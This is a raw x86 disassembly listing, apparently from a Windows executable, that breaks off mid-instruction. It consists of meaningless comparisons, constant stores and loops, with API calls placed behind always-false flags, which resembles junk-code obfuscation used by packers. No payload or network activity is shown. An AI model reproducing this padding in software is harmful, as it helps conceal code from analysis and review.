mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x27b4], eax
mov eax, dword [ebp - 0xafc]
cmp dword [ebp - 0x1fc4], eax
je 0x46c467
mov dword [ebp - 0x1a34], 1
jmp 0x46c46e
and dword [ebp - 0x1a34], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x1a34], eax
jg 0x46c488
mov dword [ebp - 0xbdc], 1
jmp 0x46c48f
and dword [ebp - 0xbdc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbdc]
sub ecx, dword [ebp + eax - 0xac]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0xac]
jge 0x46c4bd
mov dword [ebp - 0xbe4], 1
jmp 0x46c4c4
and dword [ebp - 0xbe4], 0
mov dword [ebp - 0x1a3c], 0x49c9
mov eax, dword [ebp - 0x1a3c]
imul eax, dword [ebp - 0xbe4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xac]
jle 0x46c4f6
mov dword [ebp - 0x1a44], 1
jmp 0x46c4fd
and dword [ebp - 0x1a44], 0
mov eax, dword [ebp - 0x1a44]
mov dword [ebp - 0xafc], eax
cmp dword [ebp - 0xafc], 0x54fd
jle 0x46c521
mov dword [ebp - 0xbec], 1
jmp 0x46c528
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbec]
mov dword [ebp - 0x1fcc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xac], 0
je 0x46c546
jmp 0x46c54b
jmp 0x46c2f0
mov dword [ebp - 0x53c], 1
mov dword [ebp - 0x588], 0
jmp 0x46c56e
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 2
jge 0x46c58a
mov eax, dword [ebp - 0x588]
mov dword [ebp + eax*4 - 0x1b98], 0x5c68ec0a
jmp 0x46c561
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1b98], 0
jmp 0x46c5b8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b98]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1b98], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b98], 0xfffffffe
jge 0x46c630
mov dword [ebp - 0x834], 0x386cce57
mov dword [ebp - 0x834], 0
jmp 0x46c5eb
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 0x1d
jg 0x46c60a
mov dword [ebp - 0x1fd4], 0
mov dword [ebp - 0x1fd4], 0
jmp 0x46c5de
mov byte [ebp - 0x2b5], 0
movzx eax, byte [ebp - 0x2b5]
test eax, eax
je 0x46c62b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
jmp 0x46c59d
mov dword [ebp - 0x53c], 0
jmp 0x46c649
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 2
jge 0x46c665
mov eax, dword [ebp - 0x53c]
mov dword [ebp + eax*4 - 0x1b98], 6
jmp 0x46c63c
mov dword [ebp - 0x1a7c], 7
mov dword [ebp - 0x590], 0
jmp 0x46c688
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 1
jge 0x46c6a4
mov eax, dword [ebp - 0x590]
mov dword [ebp + eax*4 - 0xcc], 0x976ff55e
jmp 0x46c67b
mov byte [ebp - 0x2b7], 0
movzx eax, byte [ebp - 0x2b7]
test eax, eax
je 0x46c6da
push 0x129a
push 0
push 0
push 0
push 0
push 0x950
push 0x1334
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
add eax, 0xffff
imul eax, eax, 0xcf95
test eax, eax
je 0x46c712
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc], 0
je 0x46c712
mov dword [ebp - 0x1a4c], 1
jmp 0x46c719
and dword [ebp - 0x1a4c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
cmp eax, dword [ebp - 0x1a4c]
jg 0x46c73a
mov dword [ebp - 0xbf4], 1
jmp 0x46c741
and dword [ebp - 0xbf4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
cmp eax, dword [ebp - 0xbf4]
jg 0x46c762
mov dword [ebp - 0x1a54], 1
jmp 0x46c769
and dword [ebp - 0x1a54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
cmp eax, dword [ebp - 0x1a54]
jne 0x46c78a
mov dword [ebp - 0xbfc], 1
jmp 0x46c791
and dword [ebp - 0xbfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
imul eax, dword [ebp - 0xbfc]
imul eax, eax, 0xfbd3
test eax, eax
je 0x46c95f
mov dword [ebp - 0x450], 0x6df7e441
mov dword [ebp - 0x8b4], 0
jmp 0x46c7d6
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
cmp dword [ebp - 0x8b4], 3
jge 0x46c7f2
mov eax, dword [ebp - 0x8b4]
mov dword [ebp + eax*4 - 0x2d80], 0xf1bb1300
jmp 0x46c7c9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
mov dword [ebp - 0x29d0], eax
cmp dword [ebp - 0x450], 0
je 0x46c927
cmp dword [ebp - 0x450], 0x424
jle 0x46c82a
mov dword [ebp - 0x1a5c], 1
jmp 0x46c831
and dword [ebp - 0x1a5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
cmp eax, dword [ebp - 0x1a5c]
jg 0x46c852
mov dword [ebp - 0xc04], 1
jmp 0x46c859
and dword [ebp - 0xc04], 0
cmp dword [ebp - 0xc04], 0xffffffff
jl 0x46c86e
mov dword [ebp - 0x1a64], 1
jmp 0x46c875
and dword [ebp - 0x1a64], 0
cmp dword [ebp - 0x1a64], 0xffff
jb 0x46c88d
mov dword [ebp - 0xc0c], 1
jmp 0x46c894
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0xc0c], eax
jge 0x46c8ae
mov dword [ebp - 0x1a6c], 1
jmp 0x46c8b5
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 0x1a6c]
sub eax, 0x645a1f4e
cmp eax, dword [ebp - 0x450]
jg 0x46c8d4
mov dword [ebp - 0xc14], 1
jmp 0x46c8db
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xc14]
sub eax, dword [ebp - 0x450]
cmp eax, dword [ebp - 0x450]
jle 0x46c8fb
mov dword [ebp - 0x1a74], 1
jmp 0x46c902
and dword [ebp - 0x1a74], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc]
cmp dword [ebp - 0x1a74], eax
jle 0x46c927
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc], 0
jne 0x46c940
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc], 0
jne 0x46c940
and dword [ebp - 0xc1c], 0
jmp 0x46c94a
mov dword [ebp - 0xc1c], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc1c]
mov dword [ebp + eax - 0x2d80], ecx
jmp 0x46c997
mov byte [ebp - 0x2b9], 0
movzx eax, byte [ebp - 0x2b9]
test eax, eax
je 0x46c98a
push 0x1577
push 0x6d0
push 0
push 0x2177
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x1a7c]
dec eax
mov dword [ebp - 0x1a7c], eax
mov dword [ebp - 0x1f4], 0
jmp 0x46c9b0
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x46c9cc
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x2184], 0xffffffff
jmp 0x46c9a3
mov dword [ebp - 0x2c50], 0xb55bb2c2
mov dword [ebp - 0x2c4c], 0xb55bb2c2
mov dword [ebp - 0x2c48], 0xb55bb2c2
mov dword [ebp - 0x2c44], 0xb55bb2c2
mov dword [ebp - 0x598], 0xfffffff7
mov dword [ebp - 0x598], 3
jmp 0x46ca17
mov eax, dword [ebp - 0x598]
dec eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0
jl 0x46ca84
mov dword [ebp - 0x83c], 0xe1879501
mov dword [ebp - 0x83c], 3
jmp 0x46ca43
mov eax, dword [ebp - 0x83c]
dec eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 0
jl 0x46ca82
mov byte [ebp - 0x2bb], 0
movzx eax, byte [ebp - 0x2bb]
test eax, eax
je 0x46ca66
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
mov byte [ebp - 0x2bd], 0
movzx eax, byte [ebp - 0x2bd]
test eax, eax
je 0x46ca80
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
jmp 0x46ca36
jmp 0x46ca0a
mov dword [ebp - 0x1f4], 0
jmp 0x46ca9d
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 1
jge 0x46cab9
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x21e4], 0x3ed2
jmp 0x46ca90
mov dword [ebp - 0xa34], 0x8555145c
mov dword [ebp - 0x15c], 0xdca27289
mov dword [ebp - 0x5a0], 0xfffffffc
mov dword [ebp - 0x154], 0
jmp 0x46caf0
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x46cb0c
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x26c], 0xffffffff
jmp 0x46cae3
mov dword [ebp - 0x154], 0
jmp 0x46cb25
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x46cb41
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x23b8], 0xfffffffd
jmp 0x46cb18
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26c], 0
jne 0x46cbf2
mov eax, 0xfff8
test eax, eax
je 0x46cb70
cmp dword [ebp - 0xa34], 0
jne 0x46cb89
cmp dword [ebp - 0x15c], 0
jne 0x46cb89
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26c], 0
jne 0x46cb89
and dword [ebp - 0xc24], 0
jmp 0x46cb93
mov dword [ebp - 0xc24], 1
mov eax, dword [ebp - 0xc24]
mov dword [ebp - 0x5a0], eax
mov eax, 0xffff
cmp eax, 0xd5
jae 0x46cbb7
mov dword [ebp - 0x1fdc], 1
jmp 0x46cbbe
and dword [ebp - 0x1fdc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x29d8], eax
or eax, 0xffffffff
cmp eax, 5
ja 0x46cbf2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26c], 0
jne 0x46cbf2
and dword [ebp - 0x1a84], 0
jmp 0x46cbfc
mov dword [ebp - 0x1a84], 1
mov eax, dword [ebp - 0x1a84]
sub eax, 0xcb6a
cmp eax, dword [ebp - 0xa34]
jg 0x46cc24
mov eax, 0x4c55
test eax, eax
je 0x46cc24
mov dword [ebp - 0xc2c], 1
jmp 0x46cc2b
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0xa34]
add eax, dword [ebp - 0xc2c]
cmp eax, 0xffff
jae 0x46cc4a
mov dword [ebp - 0x1a8c], 1
jmp 0x46cc51
and dword [ebp - 0x1a8c], 0
cmp dword [ebp - 0x1a8c], 0xd1aa12af
ja 0x46ce74
mov dword [ebp - 0x1aa4], 0x58d83f7c
mov dword [ebp - 0x214], 0
jmp 0x46cc84
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x46cca0
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x964], 0x122
jmp 0x46cc77
mov dword [ebp - 0x214], 0
jmp 0x46ccb9
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 2
jge 0x46ccd5
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x27cc], 0xfffffff7
jmp 0x46ccac
mov byte [ebp - 0x2bf], 0
movzx eax, byte [ebp - 0x2bf]
test eax, eax
je 0x46ccf2
push 0x9b7
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
cmp dword [ebp - 0x15c], eax
jg 0x46cd18
mov dword [ebp - 0xc3c], 1
jmp 0x46cd1f
and dword [ebp - 0xc3c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x964]
cmp dword [ebp - 0x1aa4], eax
jle 0x46cd40
mov dword [ebp - 0x1fe4], 1
jmp 0x46cd47
and dword [ebp - 0x1fe4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x29e0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x15c]
cmp dword [ebp + eax - 0x26c], ecx
jg 0x46cd7b
mov dword [ebp - 0xc34], 1
jmp 0x46cd82
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc34]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x26c]
je 0x46cda4
mov dword [ebp - 0x1a94], 1
jmp 0x46cdab
and dword [ebp - 0x1a94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x964]
cmp dword [ebp - 0x1a94], eax
jge 0x46cdcc
mov dword [ebp - 0xb04], 1
jmp 0x46cdd3
and dword [ebp - 0xb04], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb04]
mov dword [ebp + eax - 0x23b8], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x964]
add eax, dword [ebp - 0xb04]
je 0x46ce16
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26c], 0
je 0x46ce16
mov dword [ebp - 0x1a9c], 1
jmp 0x46ce1d
and dword [ebp - 0x1a9c], 0
mov eax, dword [ebp - 0xc3c]
cmp eax, dword [ebp - 0x1a9c]
jl 0x46ce37
mov dword [ebp - 0xc44], 1
jmp 0x46ce3e
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xc44]
sub eax, dword [ebp - 0x1aa4]
js 0x46ce58
mov dword [ebp - 0xc4c], 1
jmp 0x46ce5f
and dword [ebp - 0xc4c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp + eax - 0x27cc], ecx
jmp 0x46ceb2
mov dword [ebp - 0x15c], 0
jmp 0x46ce8d
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jg 0x46ceb2
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp + eax*4 - 0x23b8]
mov dword [ebp + ecx*4 - 0x23b8], eax
jmp 0x46ce80
mov byte [ebp - 0x2c1], 0
movzx eax, byte [ebp - 0x2c1]
test eax, eax
je 0x46ced3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov byte [ebp - 0x2c3], 0
mov dword [ebp - 0x418], 0xac204e2d
mov dword [ebp - 0x1ff4], 0xe4438bea
mov dword [ebp - 0x844], 0
jmp 0x46cf07
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 4
jge 0x46cf23
mov eax, dword [ebp - 0x844]
mov dword [ebp + eax*4 - 0x2c64], 0xfffffffd
jmp 0x46cefa
mov dword [ebp - 0x418], 0xf
jmp 0x46cf3c
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x12
jne 0x46cf76
mov dword [ebp - 0x1fec], 0x29bf3901
mov eax, dword [ebp - 0x1fec]
mov dword [ebp - 0x1ff4], eax
mov eax, dword [ebp - 0x418]
add eax, dword [ebp - 0x418]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2c64], eax
jmp 0x46cf2f
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 3
mov eax, dword [ebp + eax - 0x2c64]
mov dword [ebp + ecx - 0x2c64], eax
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x46d274
mov dword [ebp - 0x1ffc], 1
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x1c14], 0x6ca2cb51
mov dword [ebp - 0x1c10], 0x6ca2cb51
mov dword [ebp - 0x1c0c], 0x6ca2cb51
mov dword [ebp - 0x1c08], 0x6ca2cb51
mov dword [ebp - 0xc54], 0x8fdadf86
mov dword [ebp - 0x2014], 0xffffffff
mov dword [ebp - 0xc6c], 0
mov dword [ebp - 0x1fc], 0
jmp 0x46d00f
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x46d02b
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x2028], 0xfffffffe
jmp 0x46d002
mov dword [ebp - 0x1fc], 0
jmp 0x46d044
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x46d060
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x27d8], 0x87e91c17
jmp 0x46d037
mov eax, dword [ebp - 0x1ffc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 3
jmp 0x46d079
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x46d26e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
neg ecx
cmp dword [ebp + eax*4 - 0x1c14], ecx
jl 0x46d0a0
mov dword [ebp - 0x2004], 1
jmp 0x46d0a7
and dword [ebp - 0x2004], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x29e8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c14]
neg eax
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2028]
jge 0x46d0da
mov dword [ebp - 0x1aac], 1
jmp 0x46d0e1
and dword [ebp - 0x1aac], 0
mov eax, dword [ebp - 0x1aac]
mov dword [ebp - 0xc54], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xc54], eax
jg 0x46d10d
mov eax, 0xf738f585
test eax, eax
je 0x46d10d
mov dword [ebp - 0x1ab4], 1
jmp 0x46d114
and dword [ebp - 0x1ab4], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1ab4]
jg 0x46d12b
mov dword [ebp - 0xc5c], 1
jmp 0x46d132
and dword [ebp - 0xc5c], 0
cmp dword [ebp - 0xc5c], 0x924f
jge 0x46d14a
mov dword [ebp - 0x1abc], 1
jmp 0x46d151
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1abc]
sub ecx, dword [ebp + eax*4 - 0x1c14]
sub ecx, dword [ebp - 0x18]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x2028]
jne 0x46d17f
mov dword [ebp - 0xc64], 1
jmp 0x46d186
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1c14]
cmp dword [ebp - 0xc64], eax
jl 0x46d1a4
mov dword [ebp - 0x200c], 1
jmp 0x46d1ab
and dword [ebp - 0x200c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1c14]
mov dword [ebp - 0x29f0], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1c14], 0
jne 0x46d1da
mov eax, 0x40e708be
test eax, eax
jne 0x46d1da
and dword [ebp - 0x1ac4], 0
jmp 0x46d1e4
mov dword [ebp - 0x1ac4], 1
mov eax, dword [ebp - 0x1ac4]
mov dword [ebp - 0x2014], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2028]
mov dword [ebp - 0xc6c], eax
cmp dword [ebp - 0xc6c], 0xfffffff7
je 0x46d218
mov dword [ebp - 0x201c], 1
jmp 0x46d21f
and dword [ebp - 0x201c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1c14], 1
je 0x46d238
mov dword [ebp - 0x96c], 1
jmp 0x46d23f
and dword [ebp - 0x96c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x96c]
mov dword [ebp + eax - 0x1c14], ecx
mov eax, dword [ebp - 0x96c]
add eax, 0xf8d3
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x27d8], eax
jmp 0x46d072
call dword [sym.imp.USER32.dll_GetMessageTime]
mov dword [ebp - 0x1cf8], 0xad386cce
mov dword [ebp - 0x1cf4], 0xad386cce
mov dword [ebp - 0x1cf0], 0xad386cce
mov dword [ebp - 0x1cec], 0xad386cce
mov dword [ebp - 0x244], 0x885dc1b6
mov dword [ebp - 0xf0], 0x7d6b5922
mov dword [ebp - 0x213c], 2
mov dword [ebp - 0x48], 0
jmp 0x46d2ca
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x46d2e0
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2034], 0
jmp 0x46d2c3
mov dword [ebp - 0x48], 0
jmp 0x46d2f0
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jge 0x46d306
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2350], 0xf06702e6
jmp 0x46d2e9
mov dword [ebp - 0x48], 0
jmp 0x46d316
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x46d32c
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1848], 0xd9140931
jmp 0x46d30f
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1cf8], 0
xor eax, eax
je 0x46d4c3
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1cf8], 0x1777
jl 0x46d366
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1cf8], 0
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x244], eax
jge 0x46d389
mov eax, 0x73d5
test eax, eax
je 0x46d389
mov dword [ebp - 0x2134], 1
jmp 0x46d390
and dword [ebp - 0x2134], 0
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x29f8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1cf8], 1
jae 0x46d3b8
mov dword [ebp - 0x1acc], 1
jmp 0x46d3bf
and dword [ebp - 0x1acc], 0
mov eax, dword [ebp - 0x1acc]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfff9
jae 0x46d3e3
mov dword [ebp - 0xc74], 1
jmp 0x46d3ea
and dword [ebp - 0xc74], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1cf8]
cmp dword [ebp - 0xc74], eax
jge 0x46d40b
mov dword [ebp - 0x1ad4], 1
jmp 0x46d412
and dword [ebp - 0x1ad4], 0
cmp dword [ebp - 0x1ad4], 1
je 0x46d427
mov dword [ebp - 0xc7c], 1
jmp 0x46d42e
and dword [ebp - 0xc7c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2034]
cmp dword [ebp - 0xc7c], eax
jle 0x46d44f
mov dword [ebp - 0x1adc], 1
jmp 0x46d456
and dword [ebp - 0x1adc], 0
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x1adc], eax
je 0x46d470
mov dword [ebp - 0xc84], 1
jmp 0x46d477
and dword [ebp - 0xc84], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc84]
sub ecx, dword [ebp + eax - 0x2034]
cmp ecx, 1
jle 0x46d49b
mov dword [ebp - 0x1ae4], 1
jmp 0x46d4a2
and dword [ebp - 0x1ae4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2350]
add eax, dword [ebp - 0x1ae4]
je 0x46d4c3
mov dword [ebp - 0xc8c], 1
jmp 0x46d4ca
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
mov dword [ebp - 0x213c], eax
mov dword [ebp - 0xf0], 0
jmp 0x46d4ef
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jg 0x46d7c4
mov dword [ebp - 0x49c], 0x83200138
mov dword [ebp - 0x2a00], 0x98a80146
mov dword [ebp - 0x2a08], 0x7f0936a
mov dword [ebp - 0x5a8], 0
jmp 0x46d533
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 1
jge 0x46d54f
mov eax, dword [ebp - 0x5a8]
mov dword [ebp + eax*4 - 0xcb0], 0
jmp 0x46d526
mov dword [ebp - 0x244], 0
jmp 0x46d568
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jg 0x46d776
mov dword [ebp - 0x974], 0xc8cbf698
mov dword [ebp - 0xca0], 0xffffffff
mov dword [ebp - 0x754], 0
jmp 0x46d5a2
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 1
jge 0x46d5be
mov eax, dword [ebp - 0x754]
mov dword [ebp + eax*4 - 0x2144], 0x5fca
jmp 0x46d595
mov eax, dword [ebp - 0xf0]
cmp dword [ebp + eax*4 - 0x234c], 0
je 0x46d75e
mov eax, dword [ebp - 0xf0]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2034]
cmp dword [ebp + eax*4 - 0x234c], ecx
jge 0x46d60a
mov eax, dword [ebp - 0xf0]
cmp dword [ebp + eax*4 - 0x234c], 0
je 0x46d60a
mov dword [ebp - 0x1aec], 1
jmp 0x46d611
and dword [ebp - 0x1aec], 0
cmp dword [ebp - 0x1aec], 0xffffffff
jle 0x46d626
mov dword [ebp - 0x1af4], 1
jmp 0x46d62d
and dword [ebp - 0x1af4], 0
cmp dword [ebp - 0x1af4], 0xffffffff
jbe 0x46d642
mov dword [ebp - 0xc98], 1
jmp 0x46d649
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0xc98], eax
jle 0x46d663
mov dword [ebp - 0x146c], 1
jmp 0x46d66a
and dword [ebp - 0x146c], 0
mov eax, dword [ebp - 0x146c]
mov dword [ebp - 0xca0], eax
cmp dword [ebp - 0xca0], 0x5d2300b6
je 0x46d68e
mov dword [ebp - 0x1468], 1
jmp 0x46d695
and dword [ebp - 0x1468], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ebp + ecx*4 - 0x234c]
add ecx, dword [ebp - 0x1468]
cmp dword [ebp + eax - 0xcb0], ecx
je 0x46d6c3
mov dword [ebp - 0xca8], 1
jmp 0x46d6ca
and dword [ebp - 0xca8], 0
cmp dword [ebp - 0xca8], 8
jg 0x46d6df
mov dword [ebp - 0x1864], 1
jmp 0x46d6e6
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x1864]
dec eax
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xcb0]
jg 0x46d709
mov dword [ebp - 0xa3c], 1
jmp 0x46d710
and dword [ebp - 0xa3c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa3c]
mov dword [ebp + eax - 0x2144], ecx
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0xa3c], eax
jl 0x46d73d
mov dword [ebp - 0x1470], 1
jmp 0x46d744
and dword [ebp - 0x1470], 0
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0x1470], eax
je 0x46d75e
mov dword [ebp - 0xcb8], 1
jmp 0x46d765
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0xcb8]
mov dword [ebp - 0x49c], eax
jmp 0x46d55b
mov dword [ebp - 0x49c], 0
jmp 0x46d78f
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 3
jg 0x46d7bf
mov dword [ebp - 0x2a10], 9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1848]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1848], eax
jmp 0x46d782
jmp 0x46d4e2
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
